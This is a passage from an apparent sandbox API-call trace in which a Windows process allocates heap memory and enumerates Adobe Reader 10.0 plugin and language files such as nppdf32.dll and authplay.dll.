Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12011f8 [0081.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c408 [0081.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.162] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SLV", cAlternateFileName="")) returned 1 [0081.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201218 [0081.163] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c490 [0081.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.164] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SUO", cAlternateFileName="")) returned 1 [0081.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201238 [0081.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c518 [0081.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.165] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SVE", cAlternateFileName="")) returned 1 [0081.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201258 [0081.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c5a0 [0081.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.166] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.TUR", cAlternateFileName="")) returned 1 [0081.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201278 [0081.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c628 [0081.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.168] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 1 [0081.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.168] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.168] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201298 [0081.170] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c6b0 [0081.171] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.171] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 0 [0081.171] GetLastError () returned 0x12 [0081.171] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0081.171] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.171] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x802ba700, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.171] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0081.171] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1 [0081.171] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1 [0081.171] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CZE", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DAN", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DEU", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21190, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ESP", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.EUQ", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.FRA", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HRV", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HUN", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ITA", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.JPN", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.KOR", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NLD", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NOR", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.POL", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.PTB", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUM", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUS", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SKY", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SLV", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802ba700, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SUO", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SVE", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.TUR", cAlternateFileName="")) returned 1 [0081.172] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 1 [0081.173] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 0 [0081.173] GetLastError () returned 0x12 [0081.173] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.173] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.174] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0081.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5ef398, dwReserved0=0x0, dwReserved1=0x0, cFileName="authplay.dll", cAlternateFileName="")) returned 1 [0081.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8051bd00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXE8SharedExpat.dll", cAlternateFileName="")) returned 1 [0081.174] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, 